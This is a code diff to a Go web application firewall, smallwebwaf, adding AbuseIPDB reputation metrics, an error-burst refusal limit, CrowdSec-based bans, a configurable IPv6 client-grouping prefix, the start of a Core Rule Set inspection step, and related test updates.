@@ -324,8 +313,29 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
} }
} }
// ReputationHit counts a request whose client source lists: a blocklist, // AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
// by its URL, or a DNSBL zone. // read from abuseIPDB as the metrics are asked for: the checks made, those
// that failed, and how many checks the day's budget has left. It is
// called once, after AddReputation, while SWWAF_ABUSEIPDB_KEY is set.
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
m.addReputationQueries(source, abuseIPDB.Checked)
m.addReputationFailures(source, abuseIPDB.Failures)
m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_reputation_daily_budget_remaining",
Help: "Checks of the day's SWWAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
ConstLabels: source,
}, func() float64 {
return float64(abuseIPDB.BudgetLeft())
}),
)
}
// ReputationHit counts a request whose client source lists: a blocklist
// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
// or AbuseIPDB, abuseipdb.
func (m *Metrics) ReputationHit(source string) { func (m *Metrics) ReputationHit(source string) {
m.reputationHits.WithLabelValues(source).Inc() m.reputationHits.WithLabelValues(source).Inc()
} }
@@ -403,26 +413,10 @@ func (m *Metrics) RequestEnded(
m.upstreamDuration.Observe(upstreamDuration.Seconds()) m.upstreamDuration.Observe(upstreamDuration.Seconds())
} }
if line.LimitHit != "" {
// The log line names a byte limit's window with _bytes after it.
window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes")
kind := ratelimit.KindRequests
if isBytes {
kind = ratelimit.KindBytes
}
m.rateLimitHits.WithLabelValues(window, kind).Inc()
}
if limit != "" { if limit != "" {
m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc() m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
} }
if line.Offence != "" {
m.offences.WithLabelValues(line.Offence).Inc()
}
if line.Country != "" { if line.Country != "" {
m.countries.add(line.Country, line) m.countries.add(line.Country, line)
} }
@@ -432,12 +426,41 @@ func (m *Metrics) RequestEnded(
} }
} }
// LimitHit counts a request that broke a rate limit, a byte limit or the
// error burst, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
}
// Offences counts the offences of r, a request that has ended, as its
// client's history counts them, by kind, named as clients.json names
// them.
func (m *Metrics) Offences(r ratelimit.Request) {
for kind, committed := range map[string]bool{
"limit": r.BrokeLimit,
"attack": r.Attack,
"rule_blocked": r.RuleBlocked,
"waf_blocked": r.WAFBlocked,
"token_refused": r.TokenRefused,
} {
if committed {
m.offences.WithLabelValues(kind).Inc()
}
}
}
// RuleMatched counts a request that matched the rule id, whose action is // RuleMatched counts a request that matched the rule id, whose action is
// action. // action.
func (m *Metrics) RuleMatched(id, action string) { func (m *Metrics) RuleMatched(id, action string) {
m.ruleMatches.WithLabelValues(id, action).Inc() m.ruleMatches.WithLabelValues(id, action).Inc()
} }
// WAFMatched counts a request that matched the Core Rule Set's rule id,
// with SWWAF_WAF_MODE at mode.
func (m *Metrics) WAFMatched(mode string, id int) {
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
}
// StateFileWritten counts a write of the state file name, of size bytes, // StateFileWritten counts a write of the state file name, of size bytes,
// that ended with err. // that ended with err.
func (m *Metrics) StateFileWritten(name string, size int, err error) { func (m *Metrics) StateFileWritten(name string, size int, err error) {
@@ -469,6 +492,32 @@ func (m *Metrics) StateFileEditSetAside(name string) {
m.stateFileEditsSetAside.WithLabelValues(name).Inc() m.stateFileEditsSetAside.WithLabelValues(name).Inc()
} }
// addReputationQueries adds the counter of the queries to source, a DNSBL
// zone, or of the checks of clients with AbuseIPDB, which count tells.
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_reputation_queries_total",
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
ConstLabels: source,
}, func() float64 {
return float64(count())
}))
}
// addReputationFailures adds the counter of the fetches of source, a
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
// that failed, which count tells.
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_reputation_failures_total",
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
"AbuseIPDB, that failed.",
ConstLabels: source,
}, func() float64 {
return float64(count())
}))
}
// statusClass returns the class of status, such as 2xx, or none when no // statusClass returns the class of status, such as 2xx, or none when no
// status was sent. // status was sent.
func statusClass(status int) string { func statusClass(status int) string {
+5 -3
View File
@@ -45,8 +45,9 @@ var (
// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a // /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
// token, sent as Authorization: Bearer <token>: the metrics // token, sent as Authorization: Bearer <token>: the metrics
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without // SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
// it is refused with 401. An endpoint whose token is unset answers 404, // it is refused with 401, which counts toward the error burst. An
// as any other request under /_smallwebwaf/ does. // endpoint whose token is unset answers 404, as any other request under
// /_smallwebwaf/ does.
func (rq *request) answerAdmin() { func (rq *request) answerAdmin() {
rq.line.Action = requestlog.ActionAdmin rq.line.Action = requestlog.ActionAdmin
rq.startClientResponseTimeout() rq.startClientResponseTimeout()
@@ -57,6 +58,7 @@ func (rq *request) answerAdmin() {
case token == "": case token == "":
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound) http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
case !hasToken(rq.in, token): case !hasToken(rq.in, token):
rq.tokenRefused = true
rq.out.Header().Set("WWW-Authenticate", "Bearer") rq.out.Header().Set("WWW-Authenticate", "Bearer")
rq.answer(refusal{ rq.answer(refusal{
status: http.StatusUnauthorized, status: http.StatusUnauthorized,
@@ -282,7 +284,7 @@ func (rq *request) showClient() {
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))} answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
client, seen := rq.h.limiter.Client(clientGroup(addr)) client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
if seen { if seen {
answer.Client = &client answer.Client = &client
} }
+3 -3
View File
@@ -4,7 +4,7 @@ import (
"encoding/json" "encoding/json"
"net/http" "net/http"
"net/netip" "net/netip"
"slices" "reflect"
"strconv" "strconv"
"strings" "strings"
"testing" "testing"
@@ -48,7 +48,7 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
} }
} }
if after := server.Ledger.Snapshot(); !slices.Equal(after, before) { if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before) t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
} }
} }
@@ -79,7 +79,7 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
} }
} }
if after := server.Ledger.Snapshot(); !slices.Equal(after, before) { if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v", t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method, e.path, after, before) e.method, e.path, after, before)
} }
+2 -1
View File
@@ -118,7 +118,8 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward) line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
// No ban is made, and none made permanent. // No ban is made, and none made permanent.
if held := server.Ledger.Snapshot(); len(held) != 1 || held[0] != attackBan || held := server.Ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) { line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+ t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
"for the attack alone, as it was", held, line.BanExpires) "for the attack alone, as it was", held, line.BanExpires)
+129 -42
View File
@@ -1,14 +1,15 @@
package proxy package proxy
import ( import (
"net/http"
"net/netip" "net/netip"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
) )
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged // banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
@@ -45,7 +46,7 @@ func (rq *request) banned(now time.Time) bool {
// the client over a rate limit, as its limit percentage lowers it, which // the client over a rate limit, as its limit percentage lowers it, which
// breaks it. // breaks it.
func (rq *request) limitBroken(now time.Time) bool { func (rq *request) limitBroken(now time.Time) bool {
counts, hit, over := rq.h.limiter.Count(clientGroup(rq.client), now, counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
rq.limitPercent.percent) rq.limitPercent.percent)
rq.line.Counts = counts rq.line.Counts = counts
@@ -71,7 +72,7 @@ func (rq *request) countBytes() {
now := rq.h.now() now := rq.h.now()
counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now, counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
rq.countedBytes(), rq.bytesPercent.percent) rq.countedBytes(), rq.bytesPercent.percent)
rq.line.Counts.MinuteBytes = counts.MinuteBytes rq.line.Counts.MinuteBytes = counts.MinuteBytes
rq.line.Counts.HourBytes = counts.HourBytes rq.line.Counts.HourBytes = counts.HourBytes
@@ -82,6 +83,48 @@ func (rq *request) countBytes() {
} }
} }
// countRefusal counts the request for the error burst once it has been
// answered, if smallwebwaf refused it after a rule file match, a trap path
// or a Core Rule Set match, or for a missing or wrong token, and in
// observe mode if enforce mode would have: more than
// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
// not counted, and nothing is while the threshold is off.
func (rq *request) countRefusal() {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
return
}
// In observe mode, a request that enforce mode would have refused
// before it reached the endpoint has had no token refused there.
tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" &&
!isInside(rq.client, cfg.AllowNets)
if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused {
return
}
now := rq.h.now()
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.ErrorBurstThreshold)
if !over {
return
}
// What the client was sent, or in observe mode would have been.
status := rq.out.status
switch rq.line.WouldAction {
case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
status = http.StatusForbidden
case requestlog.ActionBanned:
status = cfg.BanResponse
}
rq.banForLimit(now, hit, status)
}
// countedBytes returns the request's bytes, once it has ended, as the // countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body // byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an // bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an
@@ -106,20 +149,27 @@ func (rq *request) countedBytes() int64 {
} }
// banForLimit bans the client's netblock at now for a broken limit, the // banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, and notes the offence for the log line. status is what // one hit names, notes the offence for the log line and counts the hit in
// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over // the metrics. status is what the client was sent, or is sent:
// a rate limit, the app's answer for one whose bytes broke a byte limit. // SWWAF_BAN_RESPONSE for a request over a rate limit, the app's answer for
// The ban's notes give the client's limit percentage for that kind of // one whose bytes broke a byte limit, the refusal for one that broke the
// limit. The ban sets the client's counters back to zero. In observe mode // error burst. The ban's notes give the client's limit percentage for a
// it makes no ban and sets nothing back, and raises the alert for the ban // rate limit or a byte limit; the error burst is not lowered. The ban sets
// it would have made, if that alert would be sent. // the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
rq.line.LimitHit = hit.Window switch hit.Kind {
if hit.Kind == ratelimit.KindBytes { case ratelimit.KindBytes:
rq.line.LimitHit += "_bytes" // as counts names the byte totals rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
case ratelimit.KindRefusals:
rq.line.LimitHit = requestlog.LimitHitErrorBurst
default:
rq.line.LimitHit = hit.Window
} }
rq.line.Offence = requestlog.OffenceLimit rq.line.Offence = requestlog.OffenceLimit
rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) { if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
@@ -127,24 +177,25 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
} }
notes := bans.Notes{ notes := bans.Notes{
ASN: rq.line.ASN, ASN: rq.line.ASN,
ASName: rq.line.ASName, ASName: rq.line.ASName,
Country: rq.line.Country, Country: rq.line.Country,
Kind: hit.Kind, Kind: hit.Kind,
Limit: hit.Limit, Limit: hit.Limit,
Window: hit.Window, Window: hit.Window,
Count: hit.Count, Count: hit.Count,
Request: rq.noted(now, status), Reputation: rq.reputation,
Requests: rq.netblockRequests(netblock), Request: rq.noted(now, status),
Requests: rq.netblockRequests(netblock),
} }
percent := rq.limitPercent switch hit.Kind {
if hit.Kind == ratelimit.KindBytes { case ratelimit.KindRequests:
percent = rq.bytesPercent notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
case ratelimit.KindBytes:
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
} }
notes.LimitPercent, notes.LimitPercentSetting = percent.logged()
if rq.h.config.Observe { if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes) ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
if wouldBan { if wouldBan {
@@ -155,7 +206,7 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
} }
ban, made := rq.h.ledger.BanForLimit(netblock, now, notes) ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
rq.h.limiter.Reset(clientGroup(rq.client)) rq.h.limiter.Reset(rq.h.clientGroup(rq.client))
rq.line.BanExpires = banExpires(ban) rq.line.BanExpires = banExpires(ban)
if made { if made {
@@ -164,24 +215,22 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
} }
// banForAttack bans the client's netblock at now for a clear sign of // banForAttack bans the client's netblock at now for a clear sign of
// attack, the match of rule, a ban rule. In observe mode it makes no ban, // attack, which notes name: the ban rule that matched, or the trap path
// and raises the alert for the ban it would have made, if that alert // asked for. It fills in the rest of the notes. In observe mode it makes
// would be sent. // no ban, and raises the alert for the ban it would have made, if that
func (rq *request) banForAttack(now time.Time, rule rules.Rule) { // alert would be sent.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) { if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return return
} }
notes := bans.Notes{ notes.ASN = rq.line.ASN
ASN: rq.line.ASN, notes.ASName = rq.line.ASName
ASName: rq.line.ASName, notes.Country = rq.line.Country
Country: rq.line.Country, notes.Reputation = rq.reputation
RuleID: rule.ID, notes.Request = rq.noted(now, rq.h.config.BanResponse)
Target: rule.Target, notes.Requests = rq.netblockRequests(netblock)
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe { if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes) ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
@@ -200,6 +249,44 @@ func (rq *request) banForAttack(now time.Time, rule rules.Rule) {
} }
} }
// banForCrowdSec bans the client's netblock at now until decision,
// CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert
// would be sent.
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
return
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reputation: rq.reputation,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
if wouldBan {
rq.alertBan(ban)
}
return
}
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
rq.line.BanExpires = banExpires(ban)
if made {
rq.alertBan(ban)
}
}
// wouldAlertBan reports whether the alert for a ban on netblock for cause // wouldAlertBan reports whether the alert for a ban on netblock for cause
// made at now would be sent. In observe mode the ban the request would // made at now would be sent. In observe mode the ban the request would
// have made is worked out only then, at most once per // have made is worked out only then, at most once per
@@ -276,7 +363,7 @@ func (h *handler) netblock(client netip.Addr) netip.Prefix {
return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked() return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
} }
return clientGroup(addr) return h.clientGroup(addr)
} }
// banExpires is when ban ends, as the log line gives it: a time, or // banExpires is when ban ends, as the log line gives it: a time, or
+11 -2
View File
@@ -7,6 +7,7 @@ import (
"maps" "maps"
"net/http" "net/http"
"net/netip" "net/netip"
"reflect"
"slices" "slices"
"sync" "sync"
"testing" "testing"
@@ -165,9 +166,14 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed}, []string{otherClient, exempt}, []string{"203.0.112.9", allowed},
}, },
{ {
"an IPv6 /64", nil, "2001:db8:5::1", "an IPv6 /64, by default", nil, "2001:db8:5::1",
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"}, []string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
}, },
{
"the IPv6 netblock SWWAF_IPV6_GROUP_PREFIX sets",
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
},
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -199,6 +205,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{ s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
banScopeV4Prefix: "24", banScopeV4Prefix: "24",
deniedCountries: "kp", deniedCountries: "kp",
@@ -237,6 +244,7 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
deniedCountries: "kp", deniedCountries: "kp",
@@ -262,6 +270,7 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
deniedCountries: "kp", deniedCountries: "kp",
}) })
@@ -307,7 +316,7 @@ func TestBanNotes(t *testing.T) {
ledger := server.Ledger ledger := server.Ledger
got := ledger.Bans(netblock) got := ledger.Bans(netblock)
if len(got) != 1 || got[0] != want { if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want) t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
} }
+14 -13
View File
@@ -28,18 +28,19 @@ func biasedThresholdsSet(cfg *config.Config) bool {
// limitPercentages returns the client's limit percentages, for the rate // limitPercentages returns the client's limit percentages, for the rate
// limits and for the byte limits, by its AS number and country as looked // limits and for the byte limits, by its AS number and country as looked
// up, each "" when unknown, and the blocklists and DNSBL zones that list // up, each "" when unknown, and the blocklists, DNSBL zones and AbuseIPDB
// it. Each is the lowest of those the settings give it, the first of them // that list it. Each is the lowest of those the settings give it, the
// in the order below when several are lowest: the percentage // first of them in the order below when several are lowest: the
// SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file // percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file
// SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one // SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one
// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a // SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a
// country, SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists, // country, SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists,
// the percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a // the percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a
// client a DNSBL zone's verdict lists, the percentage of // client a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit,
// SWWAF_REPUTATION_ACTION while it is limit. For the byte limits, // the percentage of SWWAF_REPUTATION_ACTION while it is limit. For the
// SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the place // byte limits, SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT
// of the first three for an AS number or a country they list. // take the place of the first three for an AS number or a country they
// list.
func (rq *request) limitPercentages() (percentage, percentage) { func (rq *request) limitPercentages() (percentage, percentage) {
cfg := rq.h.config cfg := rq.h.config
asn, country := rq.line.ASN, rq.line.Country asn, country := rq.line.ASN, rq.line.Country
@@ -59,9 +60,9 @@ func (rq *request) limitPercentages() (percentage, percentage) {
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"} blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"}
} }
dnsblListed := percentage{percent: whole} reputationListed := percentage{percent: whole}
if rq.dnsblListed && cfg.ReputationAction == "limit" { if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
dnsblListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"} reputationListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"}
} }
asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"), asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"),
@@ -78,8 +79,8 @@ func (rq *request) limitPercentages() (percentage, percentage) {
countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT") countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT")
} }
return lowest(asnRequests, countryRequests, unknown, blocklisted, dnsblListed), return lowest(asnRequests, countryRequests, unknown, blocklisted, reputationListed),
lowest(asnBytes, countryBytes, unknown, blocklisted, dnsblListed) lowest(asnBytes, countryBytes, unknown, blocklisted, reputationListed)
} }
// given returns the percentage percents, the setting named setting, gives // given returns the percentage percents, the setting named setting, gives
+12 -1
View File
@@ -21,6 +21,9 @@ type requestBody struct {
// SWWAF_REQUEST_MAX_BYTES. // SWWAF_REQUEST_MAX_BYTES.
body io.ReadCloser body io.ReadCloser
rq *request rq *request
// readByCoreRuleSet is what the Core Rule Set read of the body before
// the request went to the app, and Read gives first.
readByCoreRuleSet []byte
// waiting is true while a Read waits for the client to send more. // waiting is true while a Read waits for the client to send more.
waiting atomic.Bool waiting atomic.Bool
// received is true once the client has sent the whole body. // received is true once the client has sent the whole body.
@@ -29,8 +32,16 @@ type requestBody struct {
bytes atomic.Int64 bytes atomic.Int64
} }
// Read reads from the client's body. // Read reads from the client's body, after what the Core Rule Set read of
// it, which has been counted already.
func (b *requestBody) Read(p []byte) (int, error) { func (b *requestBody) Read(p []byte) (int, error) {
if len(b.readByCoreRuleSet) > 0 {
n := copy(p, b.readByCoreRuleSet)
b.readByCoreRuleSet = b.readByCoreRuleSet[n:]
return n, nil
}
b.waiting.Store(true) b.waiting.Store(true)
n, err := b.body.Read(p) n, err := b.body.Read(p)
b.waiting.Store(false) b.waiting.Store(false)
+2 -3
View File
@@ -6,6 +6,7 @@ import (
"net" "net"
"net/http" "net/http"
"net/netip" "net/netip"
"reflect"
"strconv" "strconv"
"strings" "strings"
"testing" "testing"
@@ -281,8 +282,6 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) { func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
t.Parallel() t.Parallel()
const off = "off"
s, _ := startWithAnswers(t, map[string]string{ s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off, bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
}) })
@@ -337,7 +336,7 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
} }
got := server.Ledger.Bans(netblock) got := server.Ledger.Bans(netblock)
if len(got) != 1 || got[0] != want { if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want) t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
} }
+5 -7
View File
@@ -76,16 +76,14 @@ func scheme(r *http.Request, peerTrusted bool) string {
return proto return proto
} }
// ipv6GroupPrefix is the length of the IPv6 netblock that is one client.
const ipv6GroupPrefix = 64
// clientGroup is the client a request is counted toward: its IPv4 // clientGroup is the client a request is counted toward: its IPv4
// address, or the /64 its IPv6 address is in, since one abuser usually // address, or its IPv6 group, the netblock its IPv6 address is in of the
// holds a whole /64. An IPv4 address in IPv6 form counts as IPv4. // length SWWAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
func clientGroup(addr netip.Addr) netip.Prefix { // usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
addr = addr.Unmap() addr = addr.Unmap()
if addr.Is6() { if addr.Is6() {
return netip.PrefixFrom(addr, ipv6GroupPrefix).Masked() return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked()
} }
return netip.PrefixFrom(addr, addr.BitLen()) return netip.PrefixFrom(addr, addr.BitLen())
+124
View File
@@ -0,0 +1,124 @@
package proxy
import (
"errors"
"net/http"
"os"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// checkCoreRuleSet inspects the request with the Core Rule Set, unless
// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
// and in block mode refuses the request, which is an offence its client's
// history counts, and so returns ActionWAFBlocked. It returns "" for a
// request it does not refuse, and for one whose body meets a size or time
// limit while the Core Rule Set reads it, which it notes nothing of.
func (rq *request) checkCoreRuleSet() string {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in.URL, cfg.WAFExemptPaths) {
return ""
}
start := time.Now()
result := rq.inspect()
if rq.refused.Load() != nil {
return "" // the refusal for that limit, which check returns
}
rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
rq.line.WAFRuleIDs = result.RuleIDs
rq.line.WAFScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.WAFMatched(cfg.WAFMode, id)
}
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return ""
}
rq.alertWAFBlock(result)
if cfg.WAFMode == config.WAFModeDetect {
return ""
}
rq.wafBlocked = true
return requestlog.ActionWAFBlocked
}
// inspect runs the Core Rule Set on the request, which reads the part of
// its body it inspects within SWWAF_CLIENT_REQUEST_TIMEOUT, and keeps that
// part for the app. A client that runs out of time is refused with 408
